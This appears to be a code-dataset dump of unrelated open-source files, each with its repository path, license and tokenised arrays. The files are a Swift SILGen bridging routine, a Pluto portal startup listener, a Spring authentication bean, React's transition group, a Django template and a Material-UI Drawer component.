if (allocatorSelfType) { auto selfMetatype = CanMetatypeType::get(allocatorSelfType->getCanonicalType()); auto selfArg = F.begin()->createFunctionArgument( getLoweredLoadableType(selfMetatype), fd->getImplicitSelfDecl()); params.push_back(selfArg); } // Set up the throw destination if necessary. CleanupLocation cleanupLoc(fd); if (foreignError) { prepareRethrowEpilog(cleanupLoc); } SILValue result; { Scope scope(Cleanups, fd); // Bridge all the arguments. SmallVector<ManagedValue, 8> args; unsigned foreignArgIndex = 0; // A helper function to add a function error argument in the // appropriate position. auto maybeAddForeignErrorArg = [&] { if (foreignError && foreignArgIndex == foreignError->getErrorParameterIndex()) { args.push_back(ManagedValue()); foreignArgIndex++; } }; { auto foreignFormalParams = expandTupleTypes(foreignCI.LoweredType.getParams()); auto nativeFormalParams = expandTupleTypes(nativeCI.LoweredType.getParams()); for (unsigned nativeParamIndex : indices(params)) { // Bring the parameter to +1. auto paramValue = params[nativeParamIndex]; auto thunkParam = nativeFnTy->getParameters()[nativeParamIndex]; // TODO: Could avoid a retain if the bridged parameter is also +0 and // doesn't require a bridging conversion. ManagedValue param; switch (thunkParam.getConvention()) { case ParameterConvention::Direct_Owned: param = emitManagedRValueWithCleanup(paramValue); break; case ParameterConvention::Direct_Guaranteed: case ParameterConvention::Direct_Unowned: param = emitManagedRetain(fd, paramValue); break; case ParameterConvention::Indirect_Inout: case ParameterConvention::Indirect_InoutAliasable: param = ManagedValue::forLValue(paramValue); break; case ParameterConvention::Indirect_In: case ParameterConvention::Indirect_In_Constant: param = emitManagedRValueWithCleanup(paramValue); break; case ParameterConvention::Indirect_In_Guaranteed: auto tmp = emitTemporaryAllocation(fd, paramValue->getType()); B.createCopyAddr(fd, paramValue, tmp, IsNotTake, IsInitialization); param = emitManagedRValueWithCleanup(tmp); break; } maybeAddForeignErrorArg(); bool isSelf = nativeParamIndex == params.size() - 1; if (memberStatus.isInstance()) { // Leave space for `self` to be filled in later. if (foreignArgIndex == memberStatus.getSelfIndex()) { args.push_back({}); foreignArgIndex++; } // Use the `self` space we skipped earlier if it's time. if (isSelf) { foreignArgIndex = memberStatus.getSelfIndex(); } } else if (memberStatus.isStatic() && isSelf) { // Lose a static `self` parameter. break; } CanType nativeFormalType = F.mapTypeIntoContext(nativeFormalParams[nativeParamIndex]) ->getCanonicalType(); CanType foreignFormalType = F.mapTypeIntoContext(foreignFormalParams[nativeParamIndex]) ->getCanonicalType(); auto foreignParam = foreignFnTy->getParameters()[foreignArgIndex++]; SILType foreignLoweredTy = F.mapTypeIntoContext(foreignParam.getSILStorageType()); auto bridged = emitNativeToBridgedValue(fd, param, nativeFormalType, foreignFormalType, foreignLoweredTy); // Handle C pointer arguments imported as indirect `self` arguments. if (foreignParam.getConvention() == ParameterConvention::Indirect_In) { auto temp = emitTemporaryAllocation(fd, bridged.getType()); bridged.forwardInto(*this, fd, temp); bridged = emitManagedBufferWithCleanup(temp); } if (memberStatus.isInstance() && isSelf) { // Fill in the `self` space. args[memberStatus.getSelfIndex()] = bridged; } else { args.push_back(bridged); } } } maybeAddForeignErrorArg(); // Call the original. auto subs = getForwardingSubstitutions(); auto fn = getThunkedForeignFunctionRef(*this, fd, foreignDeclRef, args, subs, foreignCI); auto fnType = fn->getType().castTo<SILFunctionType>(); fnType = fnType->substGenericArgs(SGM.M, subs); CanType nativeFormalResultType = fd->mapTypeIntoContext(nativeCI.LoweredType.getResult()) ->getCanonicalType(); CanType bridgedFormalResultType = fd->mapTypeIntoContext(foreignCI.LoweredType.getResult()) ->getCanonicalType(); CalleeTypeInfo calleeTypeInfo( fnType, AbstractionPattern(nativeFnTy->getGenericSignature(), bridgedFormalResultType), nativeFormalResultType, foreignError, ImportAsMemberStatus()); auto init = indirectResult ? useBufferAsTemporary(indirectResult, getTypeLowering(indirectResult->getType())) : nullptr; SGFContext context(init.get()); ResultPlanPtr resultPlan = ResultPlanBuilder::computeResultPlan( *this, calleeTypeInfo, fd, context); ArgumentScope argScope(*this, fd); ManagedValue resultMV = emitApply(std::move(resultPlan), std::move(argScope), fd, ManagedValue::forUnmanaged(fn), subs, args, calleeTypeInfo, ApplyOptions::None, context) .getAsSingleValue(*this, fd); if (indirectResult) { if (!resultMV.isInContext()) { init->copyOrInitValueInto(*this, fd, resultMV, /*isInit*/ true); init->finishInitialization(*this); } init->getManagedAddress().forward(*this); result = emitEmptyTuple(fd); } else { result = resultMV.forward(*this); } } B.createReturn(ImplicitReturnLocation::getImplicitReturnLoc(fd), result); // Emit the throw destination. emitRethrowEpilog(fd); }
OscarSwanros/swift
lib/SILGen/SILGenBridging.cpp
C++
apache-2.0
71,927
[ 30522, 1013, 1013, 1027, 1027, 1027, 1011, 1011, 1011, 9033, 28875, 27698, 14615, 4726, 1012, 18133, 2361, 1011, 9033, 28875, 2078, 2005, 7987, 3593, 4726, 2000, 6338, 2290, 2004, 3215, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.geronimo.pluto; import javax.servlet.ServletContext; import javax.servlet.ServletContextEvent; import javax.servlet.ServletContextListener; import org.apache.pluto.container.PortletContainer; import org.apache.pluto.container.PortletContainerException; import org.apache.pluto.driver.AttributeKeys; import org.apache.pluto.driver.config.AdminConfiguration; import org.apache.pluto.driver.config.DriverConfiguration; import org.apache.pluto.driver.config.DriverConfigurationException; import org.osgi.framework.BundleContext; import org.osgi.framework.ServiceReference; import org.slf4j.Logger; import org.slf4j.LoggerFactory; /** * Listener used to start up / shut down the Pluto Portal Driver upon startup / * showdown of the servlet context in which it resides. * <p/> * Startup Includes: * <ol> * <li>Instantiation of the DriverConfiguration</li> * <li>Registration of the DriverConfiguration</li> * <li>Instantiation of the PortalContext</li> * <li>Registration of the PortalContext</li> * <li>Instantiation of the ContainerServices</li> * <li>Registration of the ContainerServices</li> * </ol> * * @version $Revision$ $Date$ * @since Sep 22, 2004 */ public class PortalStartupListener implements ServletContextListener { /** * Internal logger. */ private static final Logger LOG = LoggerFactory.getLogger( PortalStartupListener.class); /** * The KEY with which the container is bound to the context. */ private static final String CONTAINER_KEY = AttributeKeys.PORTLET_CONTAINER; /** * The KEY with which the driver configuration is bound to the context. */ private static final String DRIVER_CONFIG_KEY = AttributeKeys.DRIVER_CONFIG; /** * The KEY with which the admin configuration is bound to the context. */ private static final String ADMIN_CONFIG_KEY = AttributeKeys.DRIVER_ADMIN_CONFIG; // ServletContextListener Impl --------------------------------------------- /** * Receives the startup notification and subsequently starts up the portal * driver. The following are done in this order: * <ol> * <li>Retrieve the ResourceConfig File</li> * <li>Parse the ResourceConfig File into ResourceConfig Objects</li> * <li>Create a Portal Context</li> * <li>Create the ContainerServices implementation</li> * <li>Create the Portlet Container</li> * <li>Initialize the Container</li> * <li>Bind the configuration to the ServletContext</li> * <li>Bind the container to the ServletContext</li> * <ol> * * @param event the servlet context event. */ public void contextInitialized(ServletContextEvent event) { LOG.info("Starting up Pluto Portal Driver. . ."); final ServletContext servletContext = event.getServletContext(); BundleContext bundleContext = (BundleContext) servletContext.getAttribute("osgi-bundlecontext"); LOG.debug(" [1a] Loading DriverConfiguration. . . "); ServiceReference serviceReference = bundleContext.getServiceReference(DriverConfiguration.class.getName()); DriverConfiguration driverConfiguration = (DriverConfiguration) bundleContext.getService(serviceReference); // driverConfiguration.init(new ResourceSource() { // public InputStream getResourceAsStream(String resourceName) { // return servletContext.getResourceAsStream(resourceName); // } // }); LOG.debug(" [1b] Registering DriverConfiguration. . ."); servletContext.setAttribute(DRIVER_CONFIG_KEY, driverConfiguration); LOG.debug(" [2a] Loading Optional AdminConfiguration. . ."); serviceReference = bundleContext.getServiceReference(AdminConfiguration.class.getName()); AdminConfiguration adminConfiguration = (AdminConfiguration) bundleContext.getService(serviceReference); if (adminConfiguration != null) { LOG.debug(" [2b] Registering Optional AdminConfiguration"); servletContext.setAttribute(ADMIN_CONFIG_KEY, adminConfiguration); } else { LOG.info("Optional AdminConfiguration not found. Ignoring."); } // Retrieve the driver configuration from servlet context. DriverConfiguration driverConfig = (DriverConfiguration) servletContext.getAttribute(DRIVER_CONFIG_KEY); LOG.info("Initializing Portlet Container. . ."); // Create portlet container. LOG.debug(" [1] Creating portlet container..."); serviceReference = bundleContext.getServiceReference(PortletContainer.class.getName()); PortletContainer container = (PortletContainer) bundleContext.getService(serviceReference); // Save portlet container to the servlet context scope. servletContext.setAttribute(CONTAINER_KEY, container); LOG.info("Pluto portlet container started."); LOG.info("********** Pluto Portal Driver Started **********\n\n"); } /** * Receive notification that the context is being shut down and subsequently * destroy the container. * * @param event the destrubtion event. */ public void contextDestroyed(ServletContextEvent event) { ServletContext servletContext = event.getServletContext(); if (LOG.isInfoEnabled()) { LOG.info("Shutting down Pluto Portal Driver..."); } destroyContainer(servletContext); destroyAdminConfiguration(servletContext); destroyDriverConfiguration(servletContext); if (LOG.isInfoEnabled()) { LOG.info("********** Pluto Portal Driver Shut Down **********\n\n"); } } // Private Destruction Methods --------------------------------------------- /** * Destroyes the portlet container and removes it from servlet context. * * @param servletContext the servlet context. */ private void destroyContainer(ServletContext servletContext) { if (LOG.isInfoEnabled()) { LOG.info("Shutting down Pluto Portal Driver..."); } PortletContainer container = (PortletContainer) servletContext.getAttribute(CONTAINER_KEY); if (container != null) { servletContext.removeAttribute(CONTAINER_KEY); } } /** * Destroyes the portal driver config and removes it from servlet context. * * @param servletContext the servlet context. */ private void destroyDriverConfiguration(ServletContext servletContext) { DriverConfiguration driverConfig = (DriverConfiguration) servletContext.getAttribute(DRIVER_CONFIG_KEY); if (driverConfig != null) { // try { // driverConfig.destroy(); // if (LOG.isInfoEnabled()) { // LOG.info("Pluto Portal Driver Config destroyed."); // } // } catch (DriverConfigurationException ex) { // LOG.error("Unable to destroy portal driver config: " // + ex.getMessage(), ex); // } finally { servletContext.removeAttribute(DRIVER_CONFIG_KEY); // } } } /** * Destroyes the portal admin config and removes it from servlet context. * * @param servletContext the servlet context. */ private void destroyAdminConfiguration(ServletContext servletContext) { AdminConfiguration adminConfig = (AdminConfiguration) servletContext.getAttribute(ADMIN_CONFIG_KEY); if (adminConfig != null) { // try { // adminConfig.destroy(); // if (LOG.isInfoEnabled()) { // LOG.info("Pluto Portal Admin Config destroyed."); // } // } catch (DriverConfigurationException ex) { // LOG.error("Unable to destroy portal admin config: " // + ex.getMessage(), ex); // } finally { servletContext.removeAttribute(ADMIN_CONFIG_KEY); // } } } }
apache/geronimo
plugins/pluto/geronimo-pluto/src/main/java/org/apache/geronimo/pluto/PortalStartupListener.java
Java
apache-2.0
8,945
[ 30522, 1013, 1008, 1008, 7000, 2000, 1996, 15895, 4007, 3192, 1006, 2004, 2546, 1007, 2104, 2028, 2030, 2062, 1008, 12130, 6105, 10540, 1012, 2156, 1996, 5060, 5371, 5500, 2007, 1008, 2023, 2147, 2005, 3176, 2592, 4953, 9385, 6095, 1012, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
package com.xcode.bean; import java.io.Serializable; import javax.faces.bean.ManagedBean; import javax.faces.bean.SessionScoped; import org.springframework.security.core.Authentication; import org.springframework.security.core.context.SecurityContext; import org.springframework.security.core.context.SecurityContextHolder; @ManagedBean @SessionScoped public class UserAuth implements Serializable { /** * */ private static final long serialVersionUID = 4027678448802658446L; private String email; public UserAuth() { SecurityContext context = SecurityContextHolder.getContext(); Authentication auth = context.getAuthentication(); email = auth.getName(); } public String getEmail() { return email; } public void setEmail(String email) { this.email = email; } }
georgematos/ocaert
src/com/xcode/bean/UserAuth.java
Java
gpl-3.0
838
[ 30522, 7427, 4012, 1012, 1060, 16044, 1012, 14068, 1025, 12324, 9262, 1012, 22834, 1012, 7642, 21335, 3468, 1025, 12324, 9262, 2595, 1012, 5344, 1012, 14068, 1012, 3266, 4783, 2319, 1025, 12324, 9262, 2595, 1012, 5344, 1012, 14068, 1012, 65...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/** * Copyright 2013-2014 Facebook, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * @providesModule ReactTransitionGroup */ "use strict"; var React = require('React'); var ReactTransitionChildMapping = require('ReactTransitionChildMapping'); var cloneWithProps = require('cloneWithProps'); var emptyFunction = require('emptyFunction'); var merge = require('merge'); var ReactTransitionGroup = React.createClass({ propTypes: { component: React.PropTypes.func, childFactory: React.PropTypes.func }, getDefaultProps: function() { return { component: React.DOM.span, childFactory: emptyFunction.thatReturnsArgument }; }, getInitialState: function() { return { children: ReactTransitionChildMapping.getChildMapping(this.props.children) }; }, componentWillReceiveProps: function(nextProps) { var nextChildMapping = ReactTransitionChildMapping.getChildMapping( nextProps.children ); var prevChildMapping = this.state.children; this.setState({ children: ReactTransitionChildMapping.mergeChildMappings( prevChildMapping, nextChildMapping ) }); var key; for (key in nextChildMapping) { var hasPrev = prevChildMapping && prevChildMapping.hasOwnProperty(key); if (nextChildMapping[key] && !hasPrev && !this.currentlyTransitioningKeys[key]) { this.keysToEnter.push(key); } } for (key in prevChildMapping) { var hasNext = nextChildMapping && nextChildMapping.hasOwnProperty(key); if (prevChildMapping[key] && !hasNext && !this.currentlyTransitioningKeys[key]) { this.keysToLeave.push(key); } } // If we want to someday check for reordering, we could do it here. }, componentWillMount: function() { this.currentlyTransitioningKeys = {}; this.keysToEnter = []; this.keysToLeave = []; }, componentDidUpdate: function() { var keysToEnter = this.keysToEnter; this.keysToEnter = []; keysToEnter.forEach(this.performEnter); var keysToLeave = this.keysToLeave; this.keysToLeave = []; keysToLeave.forEach(this.performLeave); }, performEnter: function(key) { this.currentlyTransitioningKeys[key] = true; var component = this.refs[key]; if (component.componentWillEnter) { component.componentWillEnter( this._handleDoneEntering.bind(this, key) ); } else { this._handleDoneEntering(key); } }, _handleDoneEntering: function(key) { var component = this.refs[key]; if (component.componentDidEnter) { component.componentDidEnter(); } delete this.currentlyTransitioningKeys[key]; var currentChildMapping = ReactTransitionChildMapping.getChildMapping( this.props.children ); if (!currentChildMapping || !currentChildMapping.hasOwnProperty(key)) { // This was removed before it had fully entered. Remove it. this.performLeave(key); } }, performLeave: function(key) { this.currentlyTransitioningKeys[key] = true; var component = this.refs[key]; if (component.componentWillLeave) { component.componentWillLeave(this._handleDoneLeaving.bind(this, key)); } else { // Note that this is somewhat dangerous b/c it calls setState() // again, effectively mutating the component before all the work // is done. this._handleDoneLeaving(key); } }, _handleDoneLeaving: function(key) { var component = this.refs[key]; if (component.componentDidLeave) { component.componentDidLeave(); } delete this.currentlyTransitioningKeys[key]; var currentChildMapping = ReactTransitionChildMapping.getChildMapping( this.props.children ); if (currentChildMapping && currentChildMapping.hasOwnProperty(key)) { // This entered again before it fully left. Add it again. this.performEnter(key); } else { var newChildren = merge(this.state.children); delete newChildren[key]; this.setState({children: newChildren}); } }, render: function() { // TODO: we could get rid of the need for the wrapper node // by cloning a single child var childrenToRender = {}; for (var key in this.state.children) { var child = this.state.children[key]; if (child) { // You may need to apply reactive updates to a child as it is leaving. // The normal React way to do it won't work since the child will have // already been removed. In case you need this behavior you can provide // a childFactory function to wrap every child, even the ones that are // leaving. childrenToRender[key] = cloneWithProps( this.props.childFactory(child), {ref: key} ); } } return this.transferPropsTo(this.props.component(null, childrenToRender)); } }); module.exports = ReactTransitionGroup;
atom/react
src/addons/transitions/ReactTransitionGroup.js
JavaScript
apache-2.0
5,458
[ 30522, 1013, 1008, 1008, 1008, 9385, 2286, 1011, 2297, 9130, 1010, 4297, 1012, 1008, 1008, 7000, 2104, 1996, 15895, 6105, 1010, 2544, 1016, 1012, 1014, 1006, 1996, 1000, 6105, 1000, 1007, 1025, 1008, 2017, 2089, 2025, 2224, 2023, 5371, 32...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<!DOCTYPE HTML> <html> <head> <title>{{ title }}</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> </head> <body> <h1>{{ title }}</h1> {% block content %}{% endblock %} </body> </html>
svetlyak40wt/django-guts
django_guts/templates/guts/base.html
HTML
bsd-3-clause
262
[ 30522, 1026, 999, 9986, 13874, 16129, 1028, 1026, 16129, 1028, 1026, 2132, 1028, 1026, 2516, 1028, 1063, 1063, 2516, 1065, 1065, 1026, 1013, 2516, 1028, 1026, 18804, 8299, 1011, 1041, 15549, 2615, 1027, 30524, 16129, 1025, 25869, 13462, 102...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
import _objectWithoutPropertiesLoose from "@babel/runtime/helpers/esm/objectWithoutPropertiesLoose"; import _extends from "@babel/runtime/helpers/esm/extends"; import * as React from 'react'; import PropTypes from 'prop-types'; import clsx from 'clsx'; import { deepmerge } from '@material-ui/utils'; import { unstable_composeClasses as composeClasses } from '@material-ui/unstyled'; import Modal from '../Modal'; import Slide from '../Slide'; import Paper from '../Paper'; import capitalize from '../utils/capitalize'; import { duration } from '../styles/transitions'; import useTheme from '../styles/useTheme'; import useThemeProps from '../styles/useThemeProps'; import experimentalStyled from '../styles/experimentalStyled'; import drawerClasses, { getDrawerUtilityClass } from './drawerClasses'; const overridesResolver = (props, styles) => { const { styleProps } = props; return deepmerge(_extends({}, (styleProps.variant === 'permanent' || styleProps.variant === 'persistent') && styles.docked, styles.modal, { [`& .${drawerClasses.paper}`]: _extends({}, styles.paper, styles[`paperAnchor${capitalize(styleProps.anchor)}`], styleProps.variant !== 'temporary' && styles[`paperAnchorDocked${capitalize(styleProps.anchor)}`]) }), styles.root || {}); }; const useUtilityClasses = styleProps => { const { classes, anchor, variant } = styleProps; const slots = { root: ['root'], docked: [(variant === 'permanent' || variant === 'persistent') && 'docked'], modal: ['modal'], paper: ['paper', `paperAnchor${capitalize(anchor)}`, variant !== 'temporary' && `paperAnchorDocked${capitalize(anchor)}`] }; return composeClasses(slots, getDrawerUtilityClass, classes); }; const DrawerRoot = experimentalStyled(Modal, {}, { name: 'MuiDrawer', slot: 'Root', overridesResolver })({}); const DrawerDockedRoot = experimentalStyled('div', {}, { name: 'MuiDrawer', slot: 'Docked', overridesResolver })({ /* Styles applied to the root element if `variant="permanent or persistent"`. */ flex: '0 0 auto' }); const DrawerPaper = experimentalStyled(Paper, {}, { name: 'MuiDrawer', slot: 'Paper' })(({ theme, styleProps }) => _extends({ /* Styles applied to the Paper component. */ overflowY: 'auto', display: 'flex', flexDirection: 'column', height: '100%', flex: '1 0 auto', zIndex: theme.zIndex.drawer, WebkitOverflowScrolling: 'touch', // Add iOS momentum scrolling. // temporary style position: 'fixed', top: 0, // We disable the focus ring for mouse, touch and keyboard users. // At some point, it would be better to keep it for keyboard users. // :focus-ring CSS pseudo-class will help. outline: 0 }, styleProps.anchor === 'left' && { /* Styles applied to the Paper component if `anchor="left"`. */ left: 0, right: 'auto' }, styleProps.anchor === 'top' && { /* Styles applied to the Paper component if `anchor="top"`. */ top: 0, left: 0, bottom: 'auto', right: 0, height: 'auto', maxHeight: '100%' }, styleProps.anchor === 'right' && { /* Styles applied to the Paper component if `anchor="right"`. */ left: 'auto', right: 0 }, styleProps.anchor === 'bottom' && { /* Styles applied to the Paper component if `anchor="bottom"`. */ top: 'auto', left: 0, bottom: 0, right: 0, height: 'auto', maxHeight: '100%' }, styleProps.anchor === 'left' && styleProps.variant !== 'temporary' && { /* Styles applied to the Paper component if `anchor="left"` and `variant` is not "temporary". */ borderRight: `1px solid ${theme.palette.divider}` }, styleProps.anchor === 'top' && styleProps.variant !== 'temporary' && { /* Styles applied to the Paper component if `anchor="top"` and `variant` is not "temporary". */ borderBottom: `1px solid ${theme.palette.divider}` }, styleProps.anchor === 'right' && styleProps.variant !== 'temporary' && { /* Styles applied to the Paper component if `anchor="right"` and `variant` is not "temporary". */ borderLeft: `1px solid ${theme.palette.divider}` }, styleProps.anchor === 'bottom' && styleProps.variant !== 'temporary' && { /* Styles applied to the Paper component if `anchor="bottom"` and `variant` is not "temporary". */ borderTop: `1px solid ${theme.palette.divider}` })); const oppositeDirection = { left: 'right', right: 'left', top: 'down', bottom: 'up' }; export function isHorizontal(anchor) { return ['left', 'right'].indexOf(anchor) !== -1; } export function getAnchor(theme, anchor) { return theme.direction === 'rtl' && isHorizontal(anchor) ? oppositeDirection[anchor] : anchor; } const defaultTransitionDuration = { enter: duration.enteringScreen, exit: duration.leavingScreen }; /** * The props of the [Modal](/api/modal/) component are available * when `variant="temporary"` is set. */ const Drawer = /*#__PURE__*/React.forwardRef(function Drawer(inProps, ref) { const props = useThemeProps({ props: inProps, name: 'MuiDrawer' }); const { anchor: anchorProp = 'left', BackdropProps, children, className, elevation = 16, ModalProps: { BackdropProps: BackdropPropsProp } = {}, onClose, open = false, PaperProps = {}, SlideProps, // eslint-disable-next-line react/prop-types TransitionComponent = Slide, transitionDuration = defaultTransitionDuration, variant = 'temporary' } = props, ModalProps = _objectWithoutPropertiesLoose(props.ModalProps, ["BackdropProps"]), other = _objectWithoutPropertiesLoose(props, ["anchor", "BackdropProps", "children", "className", "elevation", "ModalProps", "onClose", "open", "PaperProps", "SlideProps", "TransitionComponent", "transitionDuration", "variant"]); const theme = useTheme(); // Let's assume that the Drawer will always be rendered on user space. // We use this state is order to skip the appear transition during the // initial mount of the component. const mounted = React.useRef(false); React.useEffect(() => { mounted.current = true; }, []); const anchor = getAnchor(theme, anchorProp); const styleProps = _extends({}, props, { anchor, elevation, open, variant }, other); const classes = useUtilityClasses(styleProps); const drawer = /*#__PURE__*/React.createElement(DrawerPaper, _extends({ elevation: variant === 'temporary' ? elevation : 0, square: true }, PaperProps, { className: clsx(classes.paper, PaperProps.className), styleProps: styleProps }), children); if (variant === 'permanent') { return /*#__PURE__*/React.createElement(DrawerDockedRoot, _extends({ className: clsx(classes.root, classes.docked, className), styleProps: styleProps, ref: ref }, other), drawer); } const slidingDrawer = /*#__PURE__*/React.createElement(TransitionComponent, _extends({ in: open, direction: oppositeDirection[anchor], timeout: transitionDuration, appear: mounted.current }, SlideProps), drawer); if (variant === 'persistent') { return /*#__PURE__*/React.createElement(DrawerDockedRoot, _extends({ className: clsx(classes.root, classes.docked, className), styleProps: styleProps, ref: ref }, other), slidingDrawer); } // variant === temporary return /*#__PURE__*/React.createElement(DrawerRoot, _extends({ BackdropProps: _extends({}, BackdropProps, BackdropPropsProp, { transitionDuration }), className: clsx(classes.root, classes.modal, className), open: open, styleProps: styleProps, onClose: onClose, ref: ref }, other, ModalProps), slidingDrawer); }); process.env.NODE_ENV !== "production" ? Drawer.propTypes = { // ----------------------------- Warning -------------------------------- // | These PropTypes are generated from the TypeScript type definitions | // | To update them edit the d.ts file and run "yarn proptypes" | // ---------------------------------------------------------------------- /** * Side from which the drawer will appear. * @default 'left' */ anchor: PropTypes.oneOf(['bottom', 'left', 'right', 'top']), /** * @ignore */ BackdropProps: PropTypes.object, /** * The content of the component. */ children: PropTypes.node, /** * Override or extend the styles applied to the component. */ classes: PropTypes.object, /** * @ignore */ className: PropTypes.string, /** * The elevation of the drawer. * @default 16 */ elevation: PropTypes.number, /** * Props applied to the [`Modal`](/api/modal/) element. * @default {} */ ModalProps: PropTypes.object, /** * Callback fired when the component requests to be closed. * * @param {object} event The event source of the callback. */ onClose: PropTypes.func, /** * If `true`, the component is shown. * @default false */ open: PropTypes.bool, /** * Props applied to the [`Paper`](/api/paper/) element. * @default {} */ PaperProps: PropTypes.object, /** * Props applied to the [`Slide`](/api/slide/) element. */ SlideProps: PropTypes.object, /** * The system prop that allows defining system overrides as well as additional CSS styles. */ sx: PropTypes.object, /** * The duration for the transition, in milliseconds. * You may specify a single timeout for all transitions, or individually with an object. * @default { enter: duration.enteringScreen, exit: duration.leavingScreen } */ transitionDuration: PropTypes.oneOfType([PropTypes.number, PropTypes.shape({ appear: PropTypes.number, enter: PropTypes.number, exit: PropTypes.number })]), /** * The variant to use. * @default 'temporary' */ variant: PropTypes.oneOf(['permanent', 'persistent', 'temporary']) } : void 0; export default Drawer;
cdnjs/cdnjs
ajax/libs/material-ui/5.0.0-alpha.27/modern/Drawer/Drawer.js
JavaScript
mit
9,817
